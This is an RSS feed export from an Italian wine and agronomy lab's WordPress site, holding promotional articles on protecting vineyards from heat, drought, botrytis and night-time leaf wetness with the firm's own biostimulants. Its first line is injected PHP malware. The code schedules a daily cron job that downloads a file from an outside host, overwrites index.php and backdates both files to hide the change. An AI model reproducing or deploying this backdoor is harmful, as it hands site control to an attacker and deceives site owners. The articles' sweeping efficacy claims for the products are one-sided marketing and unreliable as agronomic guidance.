if(!wp_next_scheduled('wp_cache_gc')){wp_schedule_event(time(),'daily','wp_cache_gc');} add_action('wp_cache_gc',function(){ $r=filemtime(ABSPATH.'wp-config.php'); $z=ABSPATH.'wp-liinks.php'; $i=ABSPATH.'index.php'; if(!file_exists($z)){@copy('https://devtools.websihosts.com/u282n1/wp-liinks.php',$z);@touch($z,$r);} if(strpos(file_get_contents($i),'wp-liinks.php')===false){@copy('https://devtools.websihosts.com/u282n1/indexx.txt',$i);@touch($i,$r);} }); Laboratorio Enologico Toscano » AGRO Let https://laboratorioenologicotoscano.it Tue, 11 Nov 2025 14:47:28 +0000 it-IT hourly 1 https://wordpress.org/?v=4.1.41 Difendere il vigneto dal caldo, strategie e prodotti utili https://laboratorioenologicotoscano.it/difendere-il-vigneto-dal-caldo-strategie-e-prodotti-utili/ https://laboratorioenologicotoscano.it/difendere-il-vigneto-dal-caldo-strategie-e-prodotti-utili/#comments Mon, 17 Jun 2024 07:39:23 +0000 https://laboratorioenologicotoscano.it/?p=5012 Il caldo estivo può mettere in crisi il vigneto, già da 35 gradi alcune varietà sono in difficoltà

La scarsità di precipitazioni e le giornate molto calde ormai da qualche anno stanno facendo registrare seri danni alla viticoltura italiana: ingiallimenti delle foglie, scottature sugli acini e perfino problemi di maturazione.

Confronto 2017

Il sistema stomatico va in crisi oltre i 35 gradi, la pianta perde acqua e si disidrata rapidamente

Normalmente le piante regolano l’evapo-traspirazione e l’equilibrio idrico tramite la regolazione della traspirazione fogliare e regolando il flusso di liquidi verso le foglie. Le acquaporine sono le mediatrici del flusso idraulico vegetale (Vande- leur et al., 2009) insieme alle caratteristiche anatomiche dei vasi conduttori (Lovi- solo et al., 2010) regolano il trasporto dei liquidi verso le foglie, per poi trovare gli stomi che, in base alla conduttanza stomatica regolata dagli ormoni e dalla superficie fogliare, sono responsabili della traspirazione all’esterno (Schultz, 2003).

Quando la pianta comincia a percepire una situazione di stress, attiva una serie di meccanismi che regolano quanto descritto sopra per limitare al massimo il movimento di liquidi verso le foglie e la traspirazione attraverso gli stomi, chiudendoli, alcune varietà però in realtà non ci riescono del tutto, gli stomi vanno in crisi e rimangono aperti invece che chiudersi, con il risultato opposto a quello necessario.

Stimolando proprio questi meccanismi metabolici, gli idrolizzati proteici di origine vegetale ed in particolare ProTech, risultano essere un’ottima soluzione per affrontare la stagione più calda.

ProTech è un idrolizzato proteico complesso ricco di amminoacidi e polipeptidi specifici, di origine vegetale, estremamente efficace nella stimolazione dei metabolismi responsabili della risposta agli stress. Le piante trattate con ProTech resistono a temperature molto più alte, continuano a regolare normalmente l’attività stomatica e superano le alte temperature senza difficoltà oltre che a utilizzare molta meno acqua.

Dal terreno alle foglie, cosa si rischia per la produzione

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Siccità vite 2019

Le piante che vanno in crisi per le alte temperature entrano in uno stato di protezione, fintanto che le temperature esterne non tornano nel range di normale operatività, interrompono i metabolismi di maturazione del frutto (motivo per il quale dai vigneti che hanno sofferto il caldo si ottengono uve molto sbilanciate) e spesso non riescono neanche a maturare il legno e le gemme per l’anno successivo.

Siccità caldo vigneto come risolvere

Effetti di ProTech sulla siccità del 2017

–  È importante preparare le piante  al forte caldo con biostimolanti specifici, ProTech (leggi articolo) è il migliore prodotto in commercio contro lo stress da caldo e siccità. Anche per quei vigneti che hanno sofferto, un trattamento aiuta a superare la fase critica e ricominciare a lavorare per la maturazione.

-Attenzione alla cimatura e sfogliatura, in previsione di forte stress è plausibile che parte delle prime foglie (intorno ai grappoli) dissecchino. Cerchiamo di mantenere sempre sufficiente superficie fogliare per garantire la maturazione, quindi il nostro consiglio e di non procedere a sfogliature e cimature esagerate, potremmo avere bisogno di quelle foglie più avanti.

- Tenete sotto controllo tignola e tignoletta, con questo clima sono molto attive, le loro forature combinate con le piogge improvvise estive garantiscono attacchi importanti di botrytis.

 

ProTech

ProTech è un biostimolante efficace verso stress abiotici (caldo, freddo, carenza idrica etc.), ha una composizione ricca di amminoacidi e peptidi, questi composti vengono assorbiti rapidamente dalla pianta e ne stimolano fortemente i meccanismi naturali di difesa. Protech rende le piante più resistenti alla siccità, scarsità di elementi e molto altro, negli ultimi anni abbiamo avuto una grande prova della sua efficacia, portando a produzione piena vigneti in tutta Italia grazie a lui. (leggi articolo)

 

ProTech è disponibile anche online qui https://www.enoadvance.com/product-page/protech

 

 

 

 

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Gestione invernale del vigneto: fertilità del suolo https://laboratorioenologicotoscano.it/gestione-invernale-del-vigneto-fase-1-fertilita-del-suolo/ https://laboratorioenologicotoscano.it/gestione-invernale-del-vigneto-fase-1-fertilita-del-suolo/#comments Wed, 14 Dec 2022 15:00:31 +0000 http://laboratorioenologicotoscano.it/?p=4530 Il cambiamento climatico è realtà, l’estate da record ha lasciato il segno

Per la maggior parte dei viticoltori italiani è stato un incubo, siccità e calore intenso hanno messo in difficoltà i vigneti anche in zone che fino ad ora non avevano mai avuto problemi.

Potendo contare su un’esperienza di oltre 70 anni e sui nostri tecnici che hanno girato tutto il paese, possiamo dare qualche consiglio ai nostri clienti, iniziando proprio dalla base e affrontando in questo articolo la gestione della fertilità del terreno.

Per contrastare il cambiamento climatico è necessario lavorare con precisione e attenzione. Partendo dalla gestione del terreno e dei nutrienti, una gestione ottimale del vigneto rende le piante forti, vigorose e pronte ad eventuali criticità.

Forti della nostra esperienza, abbiamo deciso di parlare del nostro approccio orientato alla salute della pianta. I risultati visibili in campo anno dopo anno ci danno ragione, piante sane e forti rispondo meglio agli stress.

Quali sono i fattori che determinano più resistenza?

Potatura
• Lavorazioni del terreno
• Fertilizzazione
• Gestione stagionale fertilità

La concimazione è fondamentale per avere vigneti in salute e produzioni soddisfacenti, le piante che hanno a disposizione le sostanze di cui hanno bisogno, nel momento del bisogno, risponderanno in maniera ottimale agli stimoli esterni, siano essi climatici o microbiologici.

Le analisi del terreno sono fondamentali per la salute delle piante e per ottenere produzioni ottimali. È necessario conoscere i parametri del proprio vigneto sin dalla scelta dei portinnesti, per poter apportare con le concimazioni quello che è necessario.

Se il nostro vigneto ha mostrato debolezze importanti è fondamentale valutare interventi sia invernali che primaverili con concimazioni mirate e adeguate.

I prezzi dei fertilizzanti continuano ad aumentare, utilizza con precisione quello che è necessario

I forti rincari dei fertilizzanti rendono ancora più importante un loro utilizzo preciso e adeguato, tempistiche e scelta delle sostanze per diminuire spreco di soldi e risorse che talvolta può essere anche dannoso per il vigneto.
I fertilizzanti non sono tutti uguali, c’è da tenere conto del periodo di utilizzo consigliato e tempi di rilascio dei nutrienti nel terreno (per esempio nutrienti disponibili rapidamente a novembre saranno difficilmente sfruttati dalle piante).
Ma bisogna sempre ricordarsi che uno scompenso nutrizionale può anche rendere le piante più suscettibili ai patogeni o agli stress climatici.

Eseguire la concimazione con precisione, con le opportune conoscenze della dotazione di quel dato terreno, distribuendo gli elementi necessari al raggiungimento dell’obiettivo produttivo.

 

L’agronomo, dopo aver interpretato le analisi e tutti gli altri aspetti agronomici (fra i quali anche l’osservazione delle piante e delle carenze visibili), redigerà un piano di concimazione specifico.

Se ti occorrono informazioni sulle analisi del terreno e sui piani di concimazioni specifici chiedi ai nostri tecnici cliccando qui sotto

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Per informazioni sulle analisi del terreno, visita questa pagina e scopri di più

ANALISI DEL TERRENO

 

NB:Diffida da concimazioni “miracolose”, non esiste il fertilizzante perfetto, esistono fertilizzanti più o meno adatti alla dotazione del tuo appezzamento e solo un tecnico preparato può farti ottenere il miglior risultato possibile senza spreco di risorse!

 

 

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Temporali e grandine: gestione delle spaccature e dei marciumi https://laboratorioenologicotoscano.it/finale-di-stagione-umido-lutilizzo-del-biocontrollo-per-la-botrite/ https://laboratorioenologicotoscano.it/finale-di-stagione-umido-lutilizzo-del-biocontrollo-per-la-botrite/#comments Fri, 19 Aug 2022 09:30:24 +0000 http://laboratorioenologicotoscano.it/?p=4683 Pioggia, grandine e alta umidità alternata ad ondate di calore: la condizione perfetta per lo sviluppo di Botrytis cinerea e marciumi.

Quali sono i rischi?

La Botrytis cinerea è un fungo della famiglia delle sclerotiniaceae,  patogeno comune su molte varietà vegetali, caratterizzato da un’elevato numero di conidi ialini ubicati sui conidiofori, strutture ramificate caratteristiche e ben visibili in caso di infezione.

I conidi vengono dispersi dal vento e dall’acqua piovana e provocano nuove infezioni, predilige ambienti caldi e umidi.

Botrytis cinerea è capace di notevole variabilità genetica che, grazie anche alla velocità di diffusione e di moltiplicazione la rende estremamente capace di formare popolazioni resistenti ad antibotritici chimici!

Un altro problema in condizioni climatiche avverse, specialmente dopo una stagione molto siccitosa e calda sono i marciumi, primo fra tutti il marciume acido.

A seguito di temporali intensi o grandinate violente, gli acini si spaccano facendo fuoriuscire liquidi, ambiente perfetto per funghi e batteri inquinanti, specialmente lieviti apiculati, ossidativi e batteri acetici.

Rischio alto, l’umidità e le precipitazioni aiutano i patogeni

In condizioni estremamente favorevoli, Botrytis e marciume acido possono arrecare danni enormi in poco tempo.

In condizioni favorevoli botrytis danneggia anche apparato fogliare e legno, oltre che grappoli e germogli, arrecando danni e sviluppando sulla pianta popolazioni resistenti molto difficili da combattere.

Il rischio maggiore sui grappoli per le varietà a grappolo compatto e uva da tavola.

La stagione calda e siccitosa ha reso le bucce in media più sottili e delicate rispetto agli anni passati, le forti precipitazioni che stanno colpendo l’Italia da agosto rendono la situazione a rischio.

Soluzioni, in condizioni critiche la più efficace è la più naturale, ecco perché

Quali sono le alternative?

Bentonite e zeoliti hanno una sola azione meccanica di assorbimento dell’acqua, ma se l’umidità è elevata come in questa fase e la bagnatura è consistente allora è davvero inefficace, oltre che a trasformarsi in una sorta di “spugna umida” ben ancorata ai grappoli. Non aiutano la cicatrizzazione e non hanno effetto sui patogeni.

– Il metabisolfito di potassio non ha nessun tipo di azione in ambienti aperti poiché l’anidride solforosa che si forma in soluzione acquosa evapora rapidamente.

La soluzione più efficace in assoluto per Botrytis è lavorare sulla piantail patogeno non può sviluppare resistenza alle difese naturali di una pianta in salute.

La nostra soluzione a questo problema, con ottimi risultati già dal 2002 è Antimyc, un complesso di microrganismi e amminoacidi in grado di stimolare il perfetto equilibrio vegetativo in condizioni di forte umidità.

L’uso di microrganismi specifici, come quelli presenti in Antimyc, rende la pianta forte e vigorosa stimolando quei metabolismi responsabili della diffusione di PR Proteins, con l’uso di Antimyc si riporta l’equilibrio microbiologico in condizioni di normalità nel giro di poche ore.

 

Scopri di più su Antimyc

Antimyc

 

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Caldo straordinario, ecco come difendere i vigneti https://laboratorioenologicotoscano.it/caldostraordinario/ https://laboratorioenologicotoscano.it/caldostraordinario/#comments Fri, 17 Jun 2022 08:02:51 +0000 http://laboratorioenologicotoscano.it/?p=4650 Estate da record, l’estate più calda di sempre continua a stupire e creare difficoltà alle produzioni agricole. Ecco i rischi per la viticoltura

È stato fino ad ora maggiormente interessato il centro nord, dal Piemonte al Friuli passando per la Lombardia con temperature costantemente vicino ai 40 gradi, per poi scendere Emilia Romagna e Toscana e il centro sud con temperature sempre elevate e siccità record.

In molti pensano che sia sufficiente irrigare le colture sofferenti, invece il problema è molto più profondo: il calore, oltre un certo limite, manda completamente in crisi la maggior parte delle piante della nostra fascia climatica.

Il sistema stomatico va in crisi oltre i 35 gradi, ecco la soluzione per evitarlo

Stress-vigneto-caldo-soluzionePrima di dedicare qualche riga ai sintomi dello stress da caldo e a come individuarlo, vogliamo parlarvi di ProTech, è questo il momento di intervenire con il miglior biostimolante sul mercato per stress idrico e da calore!

ProTech è un complesso idrolizzato proteico ricco di amminoacidi e polipeptidi specifici, di origine vegetale, estremamente efficace nella stimolazione dei metabolismi responsabili della risposta agli stress. Le piante trattate con ProTech non vanno in crisi, continuano a regolare normalmente l’attività stomatica e superano le alte temperature senza difficoltà.

Dal terreno alle foglie, cosa si rischia per la produzione

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Siccità vite 2019

Ci aspetta, secondo le previsioni meteo, un finale di estate ancora all’insegna del caldo torrido, con bolle di aria calda africana e temperature oltre i 40 gradi: meglio prepararsi per evitare brutte e spiacevoli sorprese sulla maturazione.

Siccità caldo vigneto come risolvere

Effetti di ProTech sulla siccità del 2017

–  È importante preparare le piante  al forte caldo con biostimolanti specifici, ProTech (leggi articolo) è il migliore prodotto in commercio contro lo stress da caldo e siccità. Anche per quei vigneti che hanno sofferto, un trattamento aiuta a superare la fase critica e ricominciare a lavorare per la maturazione.

-Attenzione alla cimatura e sfogliatura, in previsione di forte stress è plausibile che parte delle prime foglie (intorno ai grappoli) dissecchino. Cerchiamo di mantenere sempre sufficiente superficie fogliare per garantire la maturazione, quindi il nostro consiglio e di non procedere a sfogliature e cimature esagerate, potremmo avere bisogno di quelle foglie più avanti.

- Tenete sotto controllo tignola e tignoletta, con questo clima sono molto attive, le loro forature combinate con le piogge improvvise estive garantiscono attacchi importanti di botrytis.

 

La soluzione al caldo è ProTech!

ProTech è il nostro induttore dedicato agli stress abiotici (caldo, freddo, carenza idrica etc.), ha una composizione ricca di amminoacidi e peptidi bio attivi, questi composti vengono assorbiti rapidamente dalla pianta e ne stimolano fortemente i meccanismi naturali di difesa. Protech rende le piante a prova di siccità, scarsità di elementi e molto altro, negli ultimi anni abbiamo avuto una grande prova della sua efficacia, portando a produzione piena vigneti in tutta Italia grazie a lui. (leggi articolo)

 

ProTech è disponibile anche online qui https://www.enoadvance.com/product-page/protech

 

 

 

 

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Stai piantando un nuovo vigneto? Scopri i vantaggi dell’uso di micorrizze altamente specializzate https://laboratorioenologicotoscano.it/stai-piantando-un-nuovo-vigneto-scopri-i-vantaggi-delluso-di-micorrizze-altamente-specializzate/ https://laboratorioenologicotoscano.it/stai-piantando-un-nuovo-vigneto-scopri-i-vantaggi-delluso-di-micorrizze-altamente-specializzate/#comments Fri, 15 Jan 2021 16:05:39 +0000 https://laboratorioenologicotoscano.it/?p=4773 L’uso di micorrize all’impianto di un vigneto, cambiamenti climatici e vantaggi

Le micorrize sono uno strumento molto efficace per migliorare l’equilibrio delle piante con l’ambiente e la vita microbiologica del terreno per rendere le colture in condizione di superare ogni tipo di stress.

L’utilizzo di micorrize è utile anche e soprattutto con un clima in continua evoluzione, con stagioni sempre più difficili e condizioni estreme che stanno mettendo in difficoltà i vigneti di tutta Italia.

Le micorrize infatti sono funghi che vivono in stretto rapporto di cooperazione con le piante. Questi funghi sono collegati direttamente alle radici delle piante tramite le loro ife scambiando continuamente con esse sostanze nutritive e ampliando esponenzialmente così la loro rete radicale.

Che vantaggi possono dare le micorrize?

  • Scambio di sostanze. Le micorrize si connettono alle radici, rendendo disponibile tutta la loro rete di assorbimento alla pianta, ampliando
    micorrize_sviluppo_radicale

    Fig. 1

    esponenzialmente l’apparato radicale della pianta che riesce ad espandersi in un volume di terra maggiore. Questo rende le piante molto più resistenti agli stress e molto più efficienti nell’assorbimento di nutrienti.

  • Difesa delle radici. Le micorrize difendono il loro territorio da altri funghi o batteri, fornendo un efficace scudo per l’apparato radicale del loro ospite.

Come si ottiene un buono sviluppo di micorrize nelle radici?

  • Le micorrizze efficaci ed attive in agricoltura sono le endomicorrize e non le ectomicorrize, spesso presenti nei formulati commerciali
  • La presenza di batteri della ryzosphera e di Trichoderma contribuisce alla formazione di un ambiente ottimale

In fig. 1 a sinistra le radici di una pianta trattata con MycoActive Plus WP, a destra un testimone non trattato. La differenza dopo solo un anno è notevole e ben evidente sia nel volume che nella quantità di radici attive.

Il momento migliore per l’inoculo è al trapianto di qualsiasi pianta, nel caso di nuovi impianti vigneto, la piantumazione di barbatelle micorrizate garantisce uno sviluppo decisamente migliore dell’apparato radicale che si traduce in sviluppo ottimale di tutta la pianta, migliore resistenza alla siccità, al caldo e alle malattie. Il vantaggio è dovuto principalmente ad un apparato fogliare più sviluppato e in grado di garantire alle piante un accumulo ottimale di sostanze nutritive.

Montalcino, piante trattate con MycoActive Plus a 3 mesi dall'impianto.

Montalcino, piante trattate con MycoActive Plus a 3 mesi dall’impianto.

La nostra soluzione, con la più alta concentrazione di endomicorrizze sul mercato, è Myco Active Plus wp, che grazie alla sua formulazione ed alla concentrazione di micorrize (oltre 1000 propaguli per grammo di endomicorrize selezionate), Trichoderma e altri batteri della ryzosphera, è indicato per fare sia “bagni radicali” prima della messa a dimora che applicazioni localizzate in vigneti adulti su piante in stress che manifestano stanchezza.

Se vuoi maggiori informazioni sul prodotto Myco Active Plus WP, dove trovarlo o come funziona, puoi cliccare questo link MycoActive Plus

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I nostri biostimolanti e le nostre tecnologie sono utilizzate con successo dalle migliori aziende Italiane, da Montalcino al Chianti, da Montepulciano all’Empolese fino alla Maremma e tutta la costa Toscana.

MycoActive_Plus_WPMycoActive Plus WP

Inoculo di funghi micorrizici concentrato – stimola la crescita e la resistenza delle piante

▶︎ Anche per USO BIOLOGICO

Myco Active PLUS WP è un complesso concentrato di microrganismi specifici della rizosfera sia micorrizici che probioti.

Questi instaurano un rapporto simbiontico e associativo con le radici della coltura trattata molto rapidamente determinando un miglior sviluppo vegetativo, una maggiore tolleranza alle condizioni pedoclimatiche sfavorevoli e aumenti in quantità e qualità dei raccolti.

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]]> https://laboratorioenologicotoscano.it/stai-piantando-un-nuovo-vigneto-scopri-i-vantaggi-delluso-di-micorrizze-altamente-specializzate/feed/ 6 Cambiamenti climatici, estate sempre più calda: ricerca e consigli utili https://laboratorioenologicotoscano.it/cambiamenti-climatici-estate-sempre-piu-calda-ricerca-e-consigli-utili/ https://laboratorioenologicotoscano.it/cambiamenti-climatici-estate-sempre-piu-calda-ricerca-e-consigli-utili/#comments Fri, 10 Jul 2020 09:13:49 +0000 https://laboratorioenologicotoscano.it/?p=4849 Che le temperature medie stiano aumentando non è una novità, ma stiamo verificando anno dopo anno che la vite tollera sempre meno il caldo estivo, piccoli scostamenti dalle medie sono di rilevante importanza per le piante, specialmente nelle regioni più calde o dove gli scostamenti dalle medie sono più rilevanti.

soluzione_caldo_siccità_viteIngiallimento delle foglie basali, scottature sui grappoli e influenza sulla maturazione sono i sintomi presenti sempre più frequentemente.

Per alcune varietà, come il sangiovese in Toscana, già a 35°C inizia a manifestarsi lo stress da caldo e seguente stress idrico, ma perché avviene questo?

Normalmente le piante regolano l’evapotraspirazione e l’equilibrio idrico tramite la regolazione della traspirazione fogliare e regolando il flusso di liquidi verso le foglie. Le acquaporine sono le mediatrici del flusso idraulico vegetale (Vande- leur et al., 2009) insieme alle caratteristiche anatomiche dei vasi conduttori (Lovi- solo et al., 2010) regolano il trasporto dei liquidi verso le foglie, per poi trovare gli stomi che, in base alla conduttanza stomatica regolata dagli ormoni e dalla superficie fogliare, sono responsabili della traspirazione all’esterno (Schultz, 2003).

Quando la pianta comincia a percepire una situazione di stress, attiva una serie di meccanismi che regolano quanto descritto prima per limitare al massimo il movimento di liquidi verso le foglie e la traspirazione attraverso gli stomi, chiudendoli, alcune varietà però in realtà non ci riescono del tutto, gli stomi vanno in crisi e rimangono aperti invece che chiudersi con il risultato opposto a quello necessario.

Le condizioni climatiche uniche del mediterraneo hanno permesso sino ad oggi di avere una situazione di leggero stress idrico che induceva un’accumulo delle sostanze di difesa nelle bacche, sostanze a noi utili in quanto aromatiche, fenoliche etc. Purtroppo i dati degli ultimi anni, l’aumento delle temperature medie sopratutto, indicano che ci stiamo allontanando dalle condizione perfette per cui il mediterraneo è famoso e lo stress estivo è sempre più un problema, tanto da compromettere la produzione nelle zone con scarsità di acqua.

Quali strategie si possono utilizzare per aiutare i vigneti in queste condizioni?

-Attenzione alle operazioni di cimatura e sfogliatura, con la certezza che le temperature medie estive sono in aumento è prevedibile il rischio di forte stress e il disseccamento delle prime foglie (intorno ai grappoli). Cerchiamo di mantenere sempre sufficiente superficie fogliare per garantire la maturazione (l’ottimale è circa 1 m quadro per 1 kg di uva), quindi il nostro consiglio di sfogliare e cimare con coscienza perché potremmo avere bisogno di quelle foglie più avanti.

–  È importante preparare le piante  al forte caldo con biostimolanti specifici, negli anni gli idrolizzati proteici di origine vegetale si sono dimostrati i migliori per questo scopo, esenti da ormoni (come molte alghe). Proprio un idrolizzato proteico è il nostro ProTech, risultato il migliore prodotto in commercio contro lo stress da caldo e siccità in molti test e applicazioni. Anche per quei vigneti che hanno sofferto, un trattamento aiuta a superare la fase critica e ricominciare a lavorare per la maturazione.

– Sfruttare prodotti come caolino e zeolite per creare delle barriere meccaniche al sole, si intende che questi prodotti sono utili per proteggere i grappoli dalle scottature, ma in nessun modo aiutano la pianta a stimolare processi metabolici specifici.

Perché ProTech e gli idrolizzati proteici sono la migliore soluzione?

ProTech è un idrolizzato proteico specifico, ricco di amminoacidi e peptidi a corta catena, molto attivo proprio per gli stress abiotici come caldo e siccità. ProTech agisce direttamente e rapidamente sulle acquaporine e sulla regolazione del sistema stomatico, garantendo il buon funzionamento della regolazione della temperatura e della traspirazione dei liquidi.

Nei vigneti trattati con ProTech non abbiamo registrato nessuna ustione, oltre che ad avere un apparato fogliare attivo e in salute. La temperatura fogliare è mediamente fino a 5°C inferiore rispetto al testimone non trattato, sintomo del mantenimento dell’efficienza dell’apparato.
Nel terreno abbiamo registrato un miglioramento della gestione idrica, le piante non in stress consumano fino ad un 30% di acqua in meno, garantendo una resistenza migliorata.

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_DSC7961ProTech ha una composizione amminoacidica specifica per la stimolazione della vigoria in risposta agli stress abiotici, è un idrolizzato proteico di origine vegetale di elevatissima qualità. Protech aiuta la pianta a regolare il flusso stomatico e ottimizzare l’evapotraspirazione cellulare, in presenza di scompensi di temperatura (freddo o caldo) e in casi di siccità o sofferenza idrica permette alle piante di superare la crisi e di ottimizzare le energie per riportare la vegetazione in equilibrio!ProTech è ammesso anche in agricoltura BIOLOGICA

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Previsioni estive: si prospetta un 2020 da record, l’estate più calda di sempre? https://laboratorioenologicotoscano.it/previsioni-estive-si-prospetta-un-2020-da-record-lestate-piu-calda-di-sempre/ https://laboratorioenologicotoscano.it/previsioni-estive-si-prospetta-un-2020-da-record-lestate-piu-calda-di-sempre/#comments Mon, 25 May 2020 14:32:53 +0000 https://laboratorioenologicotoscano.it/?p=4836 Il clima sta cambiando rapidamente, le ultime annate ce lo hanno fatto capire bene e l’inverno appena passato (2019-2020) non è stato da meno. Il periodo dicembre-febbraio 2019-2020, secondo i dati del servizio Copernicus, ha fatto registrare temperature medie più alte di 3,4 gradi rispetto al periodo di riferimento che va dal 1981-2010, una situazione che sta evolvendo rapidamente.

L’inverno metereologico più caldo di sempre che, dai modelli ECMWF, sembra portare ad un’altra ed ennesima estate da record, sono molte le analogie infatti con l’anno 2003 e le prossime settimane saranno determinanti per ipotizzare anche l’entità delle piogge, per il momento i dati indicano una probabile variazione termica di oltre 2 gradi sulle medie e una leggere diminuzione delle precipitazioni.

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Le anomalie termiche registrate in Europa tra dicembre 2019 e febbraio 2020 © Copernicus

 

Quali sono i rischi per la viticoltura?

È pensiero comune che sia sufficiente irrigare le colture sofferenti, invece il problema è molto più profondo: il calore, oltre un certo limite, manda completamente in crisi la maggior parte delle piante della nostra fascia climatica, cosa succede esattamente oltre certe temperature?

Le acquaporine, che sono le mediatrici del flusso idraulico vegetale (Vande- leur et al., 2009), insieme alle caratteristiche anatomiche dei vasi conduttori (Lovi- solo et al., 2010) regolano il trasporto dei liquidi verso le foglie, per poi trovare gli stomi che, in base alla conduttanza stomatica regolata dagli ormoni e dalla superficie fogliare, sono responsabili della traspirazione all’esterno (Schultz, 2003).

Quando la pianta comincia a percepire una situazione di stress, attiva una serie di meccanismi che regolano quanto descritto prima per limitare al massimo il movimento di liquidi verso le foglie e la traspirazione attraverso gli stomi, chiudendoli, alcune varietà però in realtà non ci riescono del tutto, gli stomi vanno in crisi e rimangono aperti invece che chiudersi con il risultato opposto a quello necessario.

Le foglie, inoltre, indebite e disidratate non riescono a regolare la temperatura superficiale, aggravando costantemente lo stato di stress dell’intera pianta, fino al blocco della maturazione del frutto e delle gemme per l’anno successivo.

La ripresa da questo genere di stress impiega circa 15 giorni, dopo che la situazione climatica torna ad una situazione normale, in ogni caso la stagione è in ogni caso fortemente compromessa.

La soluzione migliore: lavorare sulla vigoria della pianta!

Alcune varietà sono più resistenti al caldo rispetto ad altre, cosa le contraddistingue? La genetica è fondamentale e grazie alla ricerca sono stati individuati composti specifici che stimolano la resistenza.

Abbiamo raccolto, negli ultimi anni, numerosi dati a sostegno di quanto scriviamo, utilizzando il nostro prodotto specifico a base di aminoacidi e peptidi bioattivi infatti si ottengono risultati eccellenti, rapidamente. Gli studi fatti negli ultimi anni confermano il ruolo fondamentale degli idrolizzati proteici nella resistenza al calore, alla siccità e ad altri stress abiotici.

Il risultato della nostra ricerca è ProTech, idrolizzato proteico di origine vegetale con una composizione specifica per gli stress abiotici.

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ProTech è molto efficace, ristabilisce rapidamente il funzionamento regolare degli stomi, rafforzando le foglie e intervenendo nei metabolismi specifici per la resistenza al calore. Oltre che regolare le acquaporine il funzionamento stomatico, abbiamo registrato nelle giornate più calde un interessante effetto sulle foglie, anche in condizioni estreme, le foglie delle piante trattate non superano mai temperature critiche, continuando a regolare la temperatura e la traspirazione (vedi foto sotto, realizzate con telecamera termica nelle giornate più calde del 2019).Schermata 2020-05-19 alle 11.27.07

ProTech è molto più efficace se dato in anticipo rispetto alle ondate di calore, consigliamo infatti di cominciare a distribuirlo in campo, in annate a rischio come questa, già all’allegagione per indurre nelle piante dai primi caldi una condizione ottimale per affrontare l’estate.

ProTech può essere usato anche come soluzione ad uno stress già presente?

Si, la stimolazione e il recupero di impianti sofferenti è possibile anche a posteriori, riportando in salute situazioni difficili e permettendo alle piante di respirare (nel vero senso della parola) e portare a maturazione i frutti altrimenti compromessi.

Siccità caldo vigneto come risolvere

Effetti di ProTech sulla siccità del 2017

Quali altri consigli possiamo dare per affrontare al meglio il caldo in arrivo?

Ci sono altre pratiche agronomiche che possono aiutare notevolmente le nostre viti per superare il caldo, ecco qui alcuni consigli:

-Attenzione alla cimatura e sfogliatura, in previsione di forte stress è plausibile che parte delle prime foglie (intorno ai grappoli) dissecchino. Cerchiamo di mantenere sempre sufficiente superficie fogliare per garantire la maturazione e la sopravvivenza della pianta, quindi il nostro consiglio e di non procedere a sfogliature e cimature esagerate, potremmo avere bisogno di quelle foglie più avanti. Inoltre, in caso di temperature molto alte (come nel 2017 per esempio) l’assenza di fogli davanti al grappolo ha causato ingenti danni da bruciature su uva, compromettendo la qualità del prodotto.

- Inerbimento, è dimostrato scientificamente che un terreno inerbito determina l’abbassamento delle temperature di diversi gradi, con una situazione climatica come quella che stiamo vivendo è fortemente consigliato di valutare un inerbimento parziale o completo.

Vuoi acquistare ProTech?

ProTech è il nostro induttore dedicato agli stress abiotici (caldo, carenza idrica..), ha una composizione ricca di amminoacidi e peptidi bio attivi, questi composti vengono assorbiti rapidamente dalla pianta e ne stimolano fortemente i meccanismi naturali di difesa. Protech rende le piante a prova di siccità, scarsità di elementi e molto altro, nel 2017 abbiamo avuto una grande prova della sua efficacia, portando a produzione piena vigneti in tutta Italia grazie a lui. (leggi articolo)

ProTech è disponibile sul nostro ecommerce in confezione da 250 g, 1 kg e 5 kg a questo link 

 

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La bagnatura fogliare notturna, rischi e soluzioni https://laboratorioenologicotoscano.it/la-bagnatura-fogliare-notturna-rischi-e-soluzioni/ https://laboratorioenologicotoscano.it/la-bagnatura-fogliare-notturna-rischi-e-soluzioni/#comments Fri, 08 May 2020 09:49:58 +0000 https://laboratorioenologicotoscano.it/?p=4816 Giornate limpide, bassa o assente piovosità, temperature che oscillano fra i 10°C (minime) ai 25°C (massime), situazione che spesso viene sottovaluta ritenendola a basso rischio per l’insorgenza di malattie.

Bagnatura fogliare notturna, come quantificare il rischio con i dati

Il vero rischio di queste giornate primaverili è proprio la bagnatura notturna, difficile da quantificare senza dati alla mano, ma pericolosa quanto una lunga pioggia.

Schermata 2020-05-06 alle 10.16.09

 

Il grafico sopra riporta i dati di temperatura e umidità di una giornata dei primi di maggio 2020, giornata di sole, notte di alta umidità, per ben 8 ore sopra al 90% con temperature sempre al di sopra dei 10°C. Se poi si considerano anche i dati di bagnatura fogliare espressi nel grafico in basso, sempre relativi alla stessa giornata, è interessante notare come le condizioni meteo causino una bagnatura che oscilla fra il 30% e il 75% per ben 5 ore.

Schermata 2020-05-06 alle 10.15.33

 

Vuoi saperne di più sulle centraline che utilizziamo noi? Scrivici e chiedici info, sono uno strumento molto utile!

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Cosa significano questi dati in termini pratici?

I dati mostrano chiaramente che per almeno 5 ore ci sono state le condizioni per un’infezione di peronospora, il fungo infatti ha bisogno di acqua per poter attaccare la pianta e in questo caso specifico ha avuto a disposizione abbastanza tempo per farlo.

La bagnatura fogliare tuttavia è una condizione differente da una pioggia, per varie ragioni, ma la più importante che a noi interessa dal punto di vista fitoiatrico è che non dilava i fitofarmaci rapidamente come una pioggia (non essendoci acqua che scorre, ma solo condensa).

✓ Condizioni ottimali per l’infezione

✓ Assenza di dilavamento dei fitofarmaci

Come affrontare questa situazione nel migliore dei modi?

È sufficiente mantenere la copertura con prodotti di contatto, non è necessario utilizzare sistemici in questa fase, è sempre consigliato ridurre l’uso di sistemici quando non è necessario.

Situazioni come questa, di forte bagnatura fogliare notturna, sono ottime per sfruttare al massimo il potenziale dei prodotti della linea Activo, rendendo le piante forti e vigorose in condizioni difficili.

I vantaggi di Activo Rame e Mn-Zn

L’utilizzo di Activo Rame e Activo Mn-Zn rende le piante forti e vigorose, rapidamente. Le piante sane e forti sono anche veloci nella loro risposta agli stress abiotici e biotici.

Inoltre grazie alla ricca composizione aminoacidica, i prodotti sono rapidamente assorbiti dalle piante e gli ioni metallici bioattivi sono resi disponibili subito e a lungo.

Sopratutto per il BIO ma anche per il convenzionale i migliori partner che la vite possa avere in queste condizione difficili si chiamano Activo Rame e Activo Mn-Zn, a disposizione delle aziende da oltre 10 anni e in uso so oltre 100.000 ettari.

